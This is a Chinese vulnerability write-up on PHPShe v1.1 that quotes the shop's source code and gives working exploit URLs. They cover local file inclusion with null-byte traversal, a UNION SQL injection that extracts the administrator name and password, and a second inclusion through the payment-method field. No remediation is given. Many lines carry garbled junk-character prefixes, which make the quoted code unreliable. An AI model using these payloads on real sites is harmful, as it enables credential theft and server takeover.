phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
5 O8 x) H$ h; X( S/* Phpshe v1.1 Vulnerability
/* ========================
* v# E2 C0 }2 q# P* @/* By: : Kn1f3
/* E-Mail : 681796@qq.com
/*******************************************************/
! C) W3 o/ C+ u! Z0 Z$ F7 X0×00 整体大概参数传输
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//common.php
+ ^+ _! t* v; w# v0 Tif (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
0 @/ l/ ^- k  o1 R!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
1 T* d2 b& S1 J: T7 Y( H}
else {
1 ^) l# @' ?! i) c! w1 Z1 |!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
9 J0 e0 K- @! E& @8 Q& T# m1 lsession_start();
' {9 ?1 f* D8 B1 G0 a" E9 f!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
- q* h+ Z+ w" `) ^0 v+ `- O!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
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0×01 包含漏洞

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6 M' C$ y' q6 s/ ~2 H//首页文件
$ [2 l4 V& t' R' M" s2 H<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
( c% y6 g0 U4 Ope_result();
" l9 u1 m+ E4 i?>
( N) `. h5 r& a" j% }; C5 \//common 文件 第15行开始
# J) n/ V% @& C  P1 `8 d* i; curl路由配置
( J$ b5 t. K, F5 U6 V$module = $mod = $act = 'index';
& l/ Z  |$ o/ k4 M& n9 Q  V$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
+ P8 J' B$ d: j' ?# q$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

0×02 搜索注入

<code id="code2">

//product.php文件
case 'list':
$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
# h' p9 E# u( ~' o$sqlwhere = " and `product_state` = 1";
" u5 d  Z/ U; d5 M9 g( f0 ipe_lead('hook/category.hook.php');
if ($category_id) {
% o4 l$ A. u+ v  kwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
, O* b+ n7 e1 K1 U- |( q; R}
' `: x# k+ {7 S, R3 q/ Q3 p2 v" \$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
, S, }. H* q) Hif ($_g_orderby) {
. }% e" o. J" |8 R2 d$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
1 U; Z. @. h: q3 }8 T2 y& s# }}
# B( m& n) f  L% {0 h! E8 E% P& selse {
3 k$ Y6 _+ ?6 Q3 }6 g$sqlwhere .= " order by `product_id` desc";
}
0 s6 @3 i: S$ W4 \8 |" s5 b, V$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
# h: t/ \) H7 R6 }, D; ~. y$product_hotlist = product_hotlist();
//当前路径
$nowpath = category_path($category_id);
. ^0 i) n& l( @$seo = pe_seo($info['category_name']);
/ n  @2 |# @- T9 W3 finclude(pe_tpl('product_list.html'));
//跟进selectall函数库
" B' I  {9 w- H* _( i. w: Tpublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
; }8 \& D7 W  B) `{
; p$ _+ B0 W( V& \" P* t! {//处理条件语句
2 P2 I' \0 J. |$ `9 X$sqlwhere = $this->_dowhere($where);
5 h# K4 C6 c$ X4 j# v0 U$ mreturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
/ s- v; h1 S: R. N! R( q}
//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
8 w) d. Y) A1 m; d) {

</code>
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0×03 包含漏洞2
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<code id="code3">

//order.php

case 'pay':

5 Z: }0 M5 p# f4 n& U4 L* y2 C. a$order_id = pe_dbhold($_g_id);

" u& T: P( v' U; `4 M$ c  n- m$cache_payway = cache::get('payway');

% I5 ^1 T$ w, C- j9 Eforeach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

0 Q" \$ F, A& _. ~4 Dif ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

' ?4 e: W2 y. P, L. g' I5 @$ D7 ~: z}

}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

) J3 }4 y4 i/ F+ r% R5 H! M+ g( K1 eif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

( z' w& \4 z' \5 s8 h% ^$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

( {7 C! _0 u: I. y, f" v$order['order_name'] .= "{$v['product_name']};";

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echo '正在为您连接支付网站，请稍后...';

! R5 \2 Y2 R& s7 Z) ]1 [include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

8 j. U' \  p8 u+ w* i}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

( i* V6 g' @/ ~& L1 w  z6 {2 Rpe_error('支付错误...');

) g# N- i; R5 D, K" O- Y}

}

* P- W' W; N7 }5 N$ I9 }0 v" e5 y$seo = pe_seo('选择支付方式');

: U. W0 y1 ?" C. Ainclude(pe_tpl('order_pay.html'));

8 i; ~) x7 Y' D, z5 g& r8 Nbreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
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